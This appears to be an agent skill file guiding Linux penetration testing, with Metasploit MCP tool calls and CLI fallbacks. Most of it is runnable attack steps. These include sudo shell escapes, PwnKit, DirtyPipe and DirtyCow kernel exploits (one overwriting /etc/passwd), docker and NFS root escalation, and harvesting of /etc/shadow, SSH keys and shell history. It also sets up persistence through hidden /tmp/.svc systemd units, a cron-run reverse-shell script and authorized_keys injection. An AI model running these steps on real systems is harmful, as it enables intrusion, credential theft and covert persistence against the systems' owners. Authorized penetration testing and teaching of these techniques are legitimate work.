linux-pentest

name	linux-pentest
description	Guides Linux penetration testing for privesc, persistence, container host escape, SUID/capabilities abuse, cron, kernel exploits, and post-ex on Linux sessions.

Linux Pentest

Prerequisites

• Linux targets or sessions are in scope.
• Container context: also load container-devops-pentest.
• Service attacks (SSH, FTP): load hacktricks-methodology or dedicated service skills.

Workflow

Task Progress:
- [ ] Enumerate OS, kernel, user, groups, sudo, cron, capabilities
- [ ] Run privesc checklist (SUID, writable paths, PATH, LD_PRELOAD)
- [ ] Check container breakout indicators if on Docker/K8s host
- [ ] Document escalation path and evidence

Phase 1: Enumeration

System info

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/enum_system",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/linux/gather/enum_users_history",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/linux/gather/checkcontainer",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

cat /etc/os-release
uname -a
id
sudo -l

Automated: LinPEAS, LinEnum, linux-exploit-suggester, pspy.

SUID and capabilities

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/enum_configs",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null

Common abusable: find, vim, python, pkexec, doas. Check GTFOBins.

Cron and systemd

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/enum_network",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

General OS/kernel context is covered by post/linux/gather/enum_system in Phase 1; use enum_network here for scheduled-task and service reachability context.

CLI fallback:

cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers
systemctl list-unit-files --type=service
grep -r ExecStart /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null

Systemd abuse (writable unit or drop-in)

MSF: No direct module; use CLI.

CLI fallback:

# Writable drop-in for root service
cat > /etc/systemd/system/vuln.service.d/override.conf << EOF
[Service]
ExecStartPre=/tmp/.svc
EOF
systemctl daemon-reload
systemctl restart vuln.service

# User systemd persistence
mkdir -p ~/.config/systemd/user/
cat > ~/.config/systemd/user/update.service << EOF
[Unit]
Description=Update
[Service]
ExecStart=/tmp/.svc
Restart=always
[Install]
WantedBy=default.target
EOF
systemctl --user enable update.service

Check for writable unit files, ExecStartPre/ExecStart overrides, timer units calling root scripts.

Phase 2: Privilege escalation

Local exploit suggester

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/multi/recon/local_exploit_suggester",
  engagement_id="<id>",
  session_id=<sid>,
  options={"SHOWDESCRIPTION": true}
)

CLI fallback:

./linux-exploit-suggester.sh
searchsploit "Linux Kernel $(uname -r | cut -d- -f1)"

Sudo abuse

MSF: No direct module; use CLI.

CLI fallback:

sudo -l
sudo vim -c ':!/bin/sh'
sudo PYTHONPATH=/tmp python3 -c 'import os; os.execl("/bin/sh","sh",NULL)'

Polkit (pkexec) CVE-2021-4034

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/linux/local/cve_2021_4034_pwnkit",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/linux/local/cve_2021_4034_pwnkit",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)

CLI fallback:

gcc cve-2021-4034.c -o pwnkit
./pwnkit

Kernel local exploits (examples)

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/linux/local/cve_2022_0847_dirtypipe",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/linux/local/cve_2022_0847_dirtypipe",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)
msf_module_check(
  module_name="exploit/linux/local/cve_2016_5195_dirtycow",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)

CLI fallback:

# Match exact kernel; compile on target when possible
./dirtycow /etc/passwd 'root::0:0:root:/root:/bin/bash'

Always msf_module_check before exploit. Match kernel build exactly.

Docker group escape

MSF: No direct module; use CLI.

CLI fallback:

docker run -v /:/host -it alpine chroot /host sh

NFS no_root_squash

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/nfs/nfsmount",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "MOUNT": "/tmp/nfs", "MOUNT_POINT": "/tmp/nfs"}
)

CLI fallback:

showmount -e <target>
mount -t nfs <target>:/export /mnt
cp /bin/bash /mnt/bash; chmod +s /mnt/bash

Phase 3: Container breakout indicators

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/checkcontainer",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

cat /proc/1/cgroup
ls -la /.dockerenv 2>/dev/null
capsh --print
mount | grep -E "docker|overlay"

Indicator	Escape path
--privileged	Mount host disk, chroot
CAP_SYS_ADMIN	cgroup release_agent escape
Mounted docker.sock	Create privileged container

Load container-devops-pentest for full escape procedures.

Phase 4: Credential harvesting

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/linux/gather/enum_configs",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

cat /etc/shadow 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
find /home -name "id_rsa" 2>/dev/null
cat ~/.bash_history

Phase 5: Persistence (ROE required)

See persistence-pentest for full options.

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/manage/sshkey_persistence",
  engagement_id="<id>",
  session_id=<sid>,
  options={"USERNAME": "root", "PUBKEY": "ssh-rsa AAAA..."}
)
msf_run_post_module(
  module_name="post/linux/manage/mount_cifs_creds",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

echo "*/5 * * * * /tmp/.rev.sh" | crontab -
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

Related skills

• container-devops-pentest - container escape from Linux host
• hacktricks-methodology - service-level Linux attacks (SSH, FTP)
• methodology-cheatsheets - shell cheatsheets, network pivoting
• binary-exploit-pentest - kernel and userspace exploit dev (ROE)
• pivoting-pentest - reach internal subnets from Linux foothold
• msf-post - session commands and post modules
• nfs-pentest - NFS misconfig and no_root_squash abuse